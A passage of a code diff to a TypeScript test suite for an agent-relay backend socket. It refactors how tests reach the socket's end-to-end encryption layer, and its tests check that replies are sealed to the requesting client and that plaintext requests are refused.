'hasSession').mockImplementation((connId) => connId === 'web-1')+ vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } }))+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValueOnce({ type: 'terminal_info', payload: { requestId: 'relay-info', agentId: 'a1' } })ws.message({ t: 'down', connId: 'web-1', frame: { type: 'terminal_info', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })await vi.waitFor(() => expect(answers.has('relay-info')).toBe(true))answers.get('relay-info')!({ error: 'AGENT_NOT_FOUND' })@@ -1120,14 +1123,14 @@ describe('BackendSocket outbound queue', () => {it('answers a request from the relay to the requester alone: no other web client and no window gets a copy', async () => {// Each app takes a reply by its own request id; a broadcast handed every web client of the machine// and every window on it an answer only one of them had asked for.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]ws.open()const window: Array<Record<string, unknown>> = []socket.registerLocalClient('local:window', { sendFrame: (frame) => { window.push(frame as Record<string, unknown>); return true }, sendBinary: () => true })// A paired client's request, sealed, of a type whose answer carries nothing: answered in the clear.- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValueOnce({ type: 'nobody_answers', payload: { requestId: 'r-1' } })+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValueOnce({ type: 'nobody_answers', payload: { requestId: 'r-1' } })ws.message({ t: 'down', connId: 'web-1', frame: { type: 'nobody_answers', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })const answers = () => parseSent(ws).filter((item) => (item.frame as { type?: string })?.type === 'nobody_answers_result')await vi.waitFor(() => expect(answers()).toHaveLength(1))@@ -1142,15 +1145,15 @@ describe('BackendSocket outbound queue', () => {it('seals what a pane runs to a requester that holds a session, and to it alone', async () => {// A pane's folder, pid and tty used to go to every web client in the clear. Every client that holds a// session opens a sealed payload of any type.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')// `terminal_info` is the core's (core/terminals/requests.ts), bound here as the daemon binds it.bindTerminalRequests(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'hasSession').mockImplementation((connId) => connId === 'web-1')- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } }))- const unwrap = vi.spyOn(socket.e2ee, 'unwrapDown')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((connId) => connId === 'web-1')+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } }))+ const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')const ask = (connId: string, type: string, payload: Record<string, unknown>) => {unwrap.mockReturnValueOnce({ type, payload })ws.message({ t: 'down', connId, frame: { type, payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })@@ -1178,13 +1181,13 @@ describe('BackendSocket outbound queue', () => {it.each(['dsh_list', 'dsh_install', 'dsh_update', 'dsh_remove', 'engines_probe', 'grid_models_list', 'claude_login_status', 'agent_retarget', 'remote_terminal_handoff'])('seals the %s answer to a requester that holds a session, and to it alone', async (type) => {// What a machine tells the client that asked about it went to every web client in the clear.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)const sealed = { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } }- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockImplementation((_connId, resultType) => ({ type: resultType, payload: sealed }))+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, resultType) => ({ type: resultType, payload: sealed }));(socket as unknown as { emitReply(connId: string, type: string, requestId: unknown, payload: Record<string, unknown>): void }).emitReply('web-1', type, 'r-1', { account: 'this-computer' })expect(wrap).toHaveBeenCalledWith('web-1', `${type}_result`, 'r-1', { account: 'this-computer' })@@ -1195,15 +1198,15 @@ describe('BackendSocket outbound queue', () => {})it('hands theme_set to the host-theme sink and acknowledges it to the requester', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const received: unknown[] = []bindTerminalRequests(socket, { applyTheme: (theme) => { received.push(theme) } })socket.connect()const ws = wsMock.instances[0]ws.open()- const unwrap = vi.spyOn(socket.e2ee, 'unwrapDown')- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'theme_set_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },})const envelope = { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } }@@ -1232,7 +1235,7 @@ describe('BackendSocket outbound queue', () => {// What goes back names what the person spends and on whose account, so it must leave encrypted.// The usage service answers it (services/usage.ts), with a reader that never touches a real home,// Keychain or network.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const readings = [{provider: 'claude' as const,@@ -1246,11 +1249,11 @@ describe('BackendSocket outbound queue', () => {socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'usage_read', payload: { requestId: 'usage-1' },})- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'usage_read_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },})ws.message({@@ -1269,16 +1272,16 @@ describe('BackendSocket outbound queue', () => {vi.spyOn(registry, 'list').mockReturnValue([{ cwd: '/remote/workspace' }] as RegisteredSession[])const preview = { path: '/remote/workspace', readme: 'Private project README', branch: 'main', files: ['README.md'], contributors: [] }const read = vi.spyOn(projectPreview, 'projectPreview').mockResolvedValue(preview)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveProjects(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'project_preview', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'project_preview', payload: {requestId: 'preview-1', path: '/remote/workspace',} })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'project_preview_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },})ws.message({ t: 'down', connId: 'viewer-a', frame: {@@ -1296,16 +1299,16 @@ describe('BackendSocket outbound queue', () => {it.each([false, true])('returns refreshed=%s Git branch choices only to the requesting encrypted connection', async refresh => {const preview = { isGit: true, root: '/remote/workspace', branch: 'main', branches: [{ ref: 'refs/heads/private-branch', name: 'private-branch', remote: false }] }const read = vi.spyOn(gitProject, 'readGitProject').mockResolvedValue(preview)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveProjects(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'git_project_info', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_project_info', payload: {requestId: 'preview-1', path: '/remote/workspace', refresh,} })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'git_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },})ws.message({ t: 'down', connId: 'viewer-a', frame: {@@ -1325,16 +1328,16 @@ describe('BackendSocket outbound queue', () => {const preview = { status: 'found' as const, number: 12, state: 'Merged' as const, url: 'https://github.com/private/repo/pull/12' }vi.spyOn(registry, 'resolve').mockReturnValue({ cwd: '/remote/workspace' } as RegisteredSession)const read = vi.spyOn(gitPullRequest, 'readGitPullRequest').mockResolvedValue(preview)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveProjects(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'git_pull_request', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_pull_request', payload: {requestId: 'preview-1', agentId: 'agent1',} })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-preview' } },})ws.message({ t: 'down', connId: 'viewer-a', frame: {@@ -1355,13 +1358,13 @@ describe('BackendSocket outbound queue', () => {}, history: { branches: [{ cwd: '/private/worktree', remote: null, branch: 'private-fix', at: '2026-09-27' }], pullRequests: [], truncated: false }, lookups: [], nextOffset: null }vi.spyOn(registry, 'resolve').mockReturnValue({ cwd: '/remote/workspace' } as RegisteredSession)vi.spyOn(sessionGitPullRequest, 'readSessionGitPullRequest').mockResolvedValue(history)- const socket = new BackendSocket('token'); serveProjects(socket); socket.connect()+ const socket = relaySocket('token'); serveProjects(socket); socket.connect()const ws = wsMock.instances[0]; ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'git_pull_request', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_pull_request', payload: {requestId: 'history-1', agentId: 'agent1', history: true,} })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({ type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-history' } } })+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'git_pull_request_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-history' } } })ws.message({ t: 'down', connId: 'viewer-a', frame: { type: 'git_pull_request', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-request' } } } })await vi.waitFor(() => expect(wrap).toHaveBeenCalledWith('viewer-a', 'git_pull_request_result', 'history-1', history))expect(JSON.stringify(parseSent(ws))).not.toContain('/private/worktree')@@ -1371,16 +1374,16 @@ describe('BackendSocket outbound queue', () => {it('returns a correlated Git error when discovery rejects or the path is malformed', async () => {const read = vi.spyOn(gitProject, 'readGitProject').mockRejectedValue(new Error('unavailable'))- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveProjects(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'git_project_info', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'git_project_info', payload: {requestId: 'git-error', path: 42,} })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'git_project_info_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-error' } },})ws.message({ t: 'down', connId: 'viewer-a', frame: {@@ -1396,16 +1399,16 @@ describe('BackendSocket outbound queue', () => {const media = { media: true as const, filename: 'preview.png', offset: 0, totalBytes: 3,revision: 'a'.repeat(64), contentBase64: 'AQID' }const read = vi.spyOn(mediaPreview, 'readMediaPreviewChunk').mockResolvedValue(media)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveProjects(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_read_file', payload: {+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_read_file', payload: {requestId: 'media-1', agentId: 'agent-b', path: '/tmp/preview.png', media: true, offset: 0,} })- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'agent_read_file_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'encrypted-media' } },})ws.message({ t: 'down', connId: 'viewer-a', frame: {@@ -1423,7 +1426,7 @@ describe('BackendSocket outbound queue', () => {it('refuses a plaintext media request before reading any file', async () => {const read = vi.spyOn(mediaPreview, 'readMediaPreviewChunk')- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -1463,16 +1466,16 @@ describe('BackendSocket outbound queue', () => {}vi.spyOn(registry, 'advertised').mockReturnValue([session])vi.spyOn(registry, 'terminalAvailable').mockReturnValue(true)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindAgentList(socket)socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'agents_list', payload: { requestId: 'agents-1' },})- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'agents_list_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },})ws.message({@@ -1493,7 +1496,7 @@ describe('BackendSocket outbound queue', () => {})it('filters and compacts the runtime catalog for a device agent', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const provider = vi.fn(async (_sessionId?: string) => [{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'GPT-5.6 Sol / High' },{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@auto', displayName: 'GPT-5.6 Sol / Auto' },@@ -1504,7 +1507,7 @@ describe('BackendSocket outbound queue', () => {socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'models_list',payload: {requestId: 'models-compact',@@ -1514,8 +1517,8 @@ describe('BackendSocket outbound queue', () => {selectedModel: 'runtime-v1:s1:codex:gpt-5.6-sol@high',},})- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'models_list_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },})ws.message({@@ -1537,7 +1540,7 @@ describe('BackendSocket outbound queue', () => {})it('fails a plaintext runtime catalog request closed before reading local data', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const provider = vi.fn(async () => [{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'sensitive' },])@@ -1562,7 +1565,7 @@ describe('BackendSocket outbound queue', () => {})it('serves authenticated local RPCs in cleartext without weakening cloud E2EE', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveModels(socket, { agents: { runtimeModels: async () => [{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'Sol / High' },] } })@@ -1588,9 +1591,9 @@ describe('BackendSocket outbound queue', () => {})it('refuses a trust-group roster swap that is not over an E2EE session (a local client has no identity)', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const handle = vi.fn(() => ({}))- socket.groupSync = { handle }+ gatewayOf(socket).groupSync = { handle }const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:group', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })socket.handleLocalFrame('local:group', { type: 'group_sync', payload: { requestId: 'g1', members: [] } })@@ -1605,7 +1608,7 @@ describe('BackendSocket outbound queue', () => {const read = vi.spyOn(machineResources, 'readMachineResources').mockImplementation(() => new Promise(resolve => { finish = resolve }),)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveMonitor(serveModels(socket))const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:stats', {@@ -1635,17 +1638,17 @@ describe('BackendSocket outbound queue', () => {it('returns remote machine stats only in a targeted encrypted reply', async () => {const reading = { cpuPercent: 18, memoryUsedBytes: 10, memoryTotalBytes: 32 }vi.spyOn(machineResources, 'readMachineResources').mockResolvedValue(reading)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveOn(socket, (host) => serveMonitor(host))socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'machine_resources', payload: { requestId: 'stats' },})- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)const sealed = { type: 'machine_resources_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } }- const wrap = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue(sealed)+ const wrap = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue(sealed)ws.message({t: 'down', connId: 'paired',frame: { type: 'machine_resources', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } },@@ -1658,7 +1661,7 @@ describe('BackendSocket outbound queue', () => {it('serves per-session resource readings without blocking input or sampling system totals', async () => {const system = vi.spyOn(machineResources, 'readMachineResources')- const socket = new BackendSocket('token')+ const socket = relaySocket('token')let finish!: (value: { sampledAt: string; agents: [] }) => voidserveMonitor(serveModels(socket), { resources: vi.fn(() => new Promise<{ sampledAt: string; agents: [] }>(resolve => { finish = resolve })) })const frames: Array<Record<string, unknown>> = []@@ -1678,7 +1681,7 @@ describe('BackendSocket outbound queue', () => {it('rejects unpaired plaintext stats requests before sampling the machine', async () => {const read = vi.spyOn(machineResources, 'readMachineResources')- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -1695,7 +1698,7 @@ describe('BackendSocket outbound queue', () => {})it('never holds a connection\'s next request for a service still answering one', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const models = serveModels(socket)let answerCatalog!: (result: Record<string, unknown>) => voidsocket.serviceRouter = (type, payload, asker, reply) => {@@ -1716,7 +1719,7 @@ describe('BackendSocket outbound queue', () => {})it('does not let a slow engines_probe block agent_create on the same connection', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:create', {@@ -1753,7 +1756,7 @@ describe('BackendSocket outbound queue', () => {})it('opens a harness on a conversation Harness did not start, and refuses what a resume cannot take', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:resume', {@@ -1789,7 +1792,7 @@ describe('BackendSocket outbound queue', () => {})it('creates with approvals bypassed unless the client turns that off', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:bypass', {@@ -1832,7 +1835,7 @@ describe('BackendSocket outbound queue', () => {})it('creates a terminal with no folder at home, and refuses it a grid or a project to prepare', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:terminal', {@@ -1870,7 +1873,7 @@ describe('BackendSocket outbound queue', () => {})it('recovers a delayed creation on the same connection without starting another agent', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:receipt', {@@ -1932,7 +1935,7 @@ describe('BackendSocket outbound queue', () => {})it('explains invalid repository choices without echoing credentials or preparing a folder', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:invalid-project', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })@@ -1962,7 +1965,7 @@ describe('BackendSocket outbound queue', () => {{ projectSource: 'worktree', gitSource: '/remote/repo', branchRef: 'refs/heads/main' },{ projectSource: 'branch', gitSource: '/remote/repo', branchRef: 'refs/heads/feature' },])('prepares $projectSource once under its creation receipt and retains its folder after a refused launch', async (project) => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:project', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })@@ -2006,7 +2009,7 @@ describe('BackendSocket outbound queue', () => {{ name: 'a worktree of a repo Claude already trusts', project: { projectSource: 'worktree', gitSource: '/work/repo', branchRef: 'refs/heads/main' }, sourceTrusted: true, trusts: true },])('records Claude trust for $name: $trusts', async ({ project, sourceTrusted, trusts }) => {// Only a folder the daemon made empty, or a worktree of a repo already trusted, is trusted for the person.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:trust', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })@@ -2039,7 +2042,7 @@ describe('BackendSocket outbound queue', () => {mkdirSync(dir, { recursive: true })for (const item of contents) writeFileSync(join(dir, item), 'x')vi.spyOn(projectFolder, 'projectsRoot').mockReturnValue(root)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)socket.registerLocalClient('local:cwd-trust', { sendFrame: () => true, sendBinary: () => true })vi.mocked(claudeTrust.preTrustClaudeProject).mockClear()@@ -2064,19 +2067,19 @@ describe('BackendSocket outbound queue', () => {const dir = join(root, 'workspace')mkdirSync(dir)vi.spyOn(projectFolder, 'projectsRoot').mockReturnValue(root)- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const internals = socket as unknown as {e2ee: { unwrapDown: (connId: string, frame: unknown) => unknown }dispatchDown: (frame: unknown, connId: string, transport: string) => Promise<void>}- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'agent_create', payload: { requestId: 'r', creationId: randomUUID(), engine: 'claude', cwd: dir },})vi.mocked(claudeTrust.preTrustClaudeProject).mockClear()socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))try {- await internals.dispatchDown({ type: 'agent_create', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'web-1', 'relay')+ await dispatchDown(socket, { type: 'agent_create', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'web-1', 'relay')// The create ran, so the pre-trust branch was reached and declined — not skipped earlier by the gate.await vi.waitFor(() => expect(socket.onCreateAgent).toHaveBeenCalled())expect(claudeTrust.preTrustClaudeProject).not.toHaveBeenCalled()@@ -2087,7 +2090,7 @@ describe('BackendSocket outbound queue', () => {})it('checks an unknown creation without spawning and rejects malformed creation ids before launch', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:missing-receipt', {@@ -2121,7 +2124,7 @@ describe('BackendSocket outbound queue', () => {['SPAWN_FAILED', 'unconfirmed'],['REGISTRATION_FAILED', 'unconfirmed'],])('does not relaunch a recorded %s outcome', async (error, state) => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindLaunchRequests(socket)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:refusal', {@@ -2148,7 +2151,7 @@ describe('BackendSocket outbound queue', () => {})it('sends a device focus request to one desktop window only', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const first = vi.fn(() => true), second = vi.fn(() => true)const frame = { type: 'device_focus', payload: { agentId: 'first' } }expect(socket.sendFirstLocal(frame)).toBe(false)@@ -2164,7 +2167,7 @@ describe('BackendSocket outbound queue', () => {})it('hands a blocked agent to the window without putting the question on the cloud leg', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')expect(socket.hasLocalClient()).toBe(false)const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:window', {@@ -2199,7 +2202,7 @@ describe('BackendSocket outbound queue', () => {it('routes local terminal binary directly and preserves local streams when cloud disconnects', async () => {vi.useFakeTimers()- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const handleBinary = vi.fn(async () => undefined)const closeConnection = vi.fn(async () => undefined)const closeConnectionsWhere = vi.fn(async (@@ -2247,7 +2250,7 @@ describe('BackendSocket outbound queue', () => {it('reports the window itself: open when it attaches, ping once a minute while it stays, nothing while offline', async () => {vi.useFakeTimers()- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const sink = { sendFrame: () => true, sendBinary: () => true }const kinds = (ws: InstanceType<typeof wsMock.MockWebSocket>) => parseSent(ws).filter((m) => (m.frame as { type?: string } | undefined)?.type === 'app_presence')@@ -2300,7 +2303,7 @@ describe('BackendSocket outbound queue', () => {})it('reports commander presence only when it crosses zero', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const changes: boolean[] = []socket.onCommanderPresenceChanged = (connected) => changes.push(connected)socket.connect()@@ -2326,8 +2329,8 @@ describe('BackendSocket outbound queue', () => {// dashboard's device dot reads `deviceE2eeConnected()`, so a session left behind reports a device that// may have been gone for hours.it('drops the device E2EE session when the count reaches zero', async () => {- const socket = new BackendSocket('token')- const drop = vi.spyOn(socket.e2ee, 'dropSessionsByRole')+ const socket = relaySocket('token')+ const drop = vi.spyOn(gatewayOf(socket).e2ee, 'dropSessionsByRole')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -2343,8 +2346,8 @@ describe('BackendSocket outbound queue', () => {it('drops the device E2EE session when OUR backend link dies, not just when the backend says so', async () => {vi.useFakeTimers()- const socket = new BackendSocket('token')- const drop = vi.spyOn(socket.e2ee, 'dropSessionsByRole')+ const socket = relaySocket('token')+ const drop = vi.spyOn(gatewayOf(socket).e2ee, 'dropSessionsByRole')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -2360,14 +2363,14 @@ describe('BackendSocket outbound queue', () => {})it('releases E2EE and terminal state for the exact disconnected web connId', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const closeConnection = vi.fn(async () => undefined)const stop = vi.fn(async () => undefined)socket.setTerminalStreamManager({closeConnection,stop,} as unknown as TerminalStreamManager)- const dropSession = vi.spyOn(socket.e2ee, 'dropSession')+ const dropSession = vi.spyOn(gatewayOf(socket).e2ee, 'dropSession')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -2401,7 +2404,7 @@ describe('desk_changed relay', () => {})it('hands the backend\'s desk_changed to the window, and only the backend\'s', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:desk', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })socket.connect()@@ -2418,7 +2421,7 @@ describe('desk_changed relay', () => {})it('hands the backend\'s zoo_changed to the window as its own frame, and only the backend\'s', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const frames: Array<Record<string, unknown>> = []socket.registerLocalClient('local:zoo', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })socket.connect()@@ -2452,7 +2455,7 @@ describe('agent_fork RPC', () => {}function localSocket(): { socket: BackendSocket; frames: Array<Record<string, unknown>> } {- const socket = new 